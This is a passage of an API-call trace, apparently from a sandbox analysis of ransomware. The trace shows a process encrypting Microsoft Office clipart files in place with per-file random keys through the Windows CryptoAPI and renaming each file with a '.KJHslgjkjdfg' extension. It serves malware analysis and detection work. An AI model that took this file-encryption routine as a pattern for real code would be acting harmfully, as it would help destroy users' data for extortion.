nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.111] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.111] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.112] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.112] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.112] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x127e, lpOverlapped=0x0) returned 1 [0192.113] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1280, dwBufLen=0x1280 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1280) returned 1 [0192.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.113] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1280, lpOverlapped=0x0) returned 1 [0192.113] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.113] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.113] SetEndOfFile (hFile=0x130) returned 1 [0192.116] GetProcessHeap () returned 0x2ef0000 [0192.116] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.116] GetProcessHeap () returned 0x2ef0000 [0192.116] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.116] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00015_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00015_.wmf.kjhslgjkjdfg")) returned 1 [0192.127] CloseHandle (hObject=0x130) returned 1 [0192.127] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e812b00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e812b00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0192.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.129] GetProcessHeap () returned 0x2ef0000 [0192.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.129] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.129] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0192.131] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.131] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.131] GetProcessHeap () returned 0x2ef0000 [0192.131] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.131] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.131] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.131] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.131] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.132] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1634, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1634, lpOverlapped=0x0) returned 1 [0192.133] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1640, dwBufLen=0x1640 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1640) returned 1 [0192.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.133] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1640, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1640, lpOverlapped=0x0) returned 1 [0192.133] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.133] SetEndOfFile (hFile=0x130) returned 1 [0192.136] GetProcessHeap () returned 0x2ef0000 [0192.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.136] GetProcessHeap () returned 0x2ef0000 [0192.136] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00790_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00790_.wmf.kjhslgjkjdfg")) returned 1 [0192.147] CloseHandle (hObject=0x130) returned 1 [0192.147] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9eb2200, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa9eb2200, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0192.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.147] GetProcessHeap () returned 0x2ef0000 [0192.147] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.148] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.148] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0192.149] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.149] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.149] GetProcessHeap () returned 0x2ef0000 [0192.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.149] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.150] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.150] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.150] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.150] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.150] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.150] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.150] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5062, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5062, lpOverlapped=0x0) returned 1 [0192.151] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5070, dwBufLen=0x5070 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5070) returned 1 [0192.151] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.152] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5070, lpOverlapped=0x0) returned 1 [0192.152] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.152] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.152] SetEndOfFile (hFile=0x130) returned 1 [0192.152] GetProcessHeap () returned 0x2ef0000 [0192.152] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.152] GetProcessHeap () returned 0x2ef0000 [0192.152] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00853_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00853_.wmf.kjhslgjkjdfg")) returned 1 [0192.159] CloseHandle (hObject=0x130) returned 1 [0192.159] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efb2900, ftCreationTime.dwHighDateTime=0x1bd4b2f, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2efb2900, ftLastWriteTime.dwHighDateTime=0x1bd4b2f, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0192.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.161] GetProcessHeap () returned 0x2ef0000 [0192.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.161] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.161] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.161] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.161] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.161] GetProcessHeap () returned 0x2ef0000 [0192.161] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.161] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.161] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.161] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.163] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.163] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.163] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.163] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.164] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2a50, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2a50, lpOverlapped=0x0) returned 1 [0192.164] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a50) returned 1 [0192.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.164] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a50, lpOverlapped=0x0) returned 1 [0192.165] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.165] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.165] SetEndOfFile (hFile=0x130) returned 1 [0192.167] GetProcessHeap () returned 0x2ef0000 [0192.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0192.167] GetProcessHeap () returned 0x2ef0000 [0192.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0192.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.kjhslgjkjdfg")) returned 1 [0192.171] CloseHandle (hObject=0x130) returned 1 [0192.171] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b9f500, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa8b9f500, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0192.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00932_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00932_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0192.171] GetProcessHeap () returned 0x2ef0000 [0192.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0192.171] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0192.172] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0192.172] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.173] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.173] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.173] GetProcessHeap () returned 0x2ef0000 [0192.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0192.174] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0192.174] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0192.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0192.174] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0192.174] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0192.174] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0192.174] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.174] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x385c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: 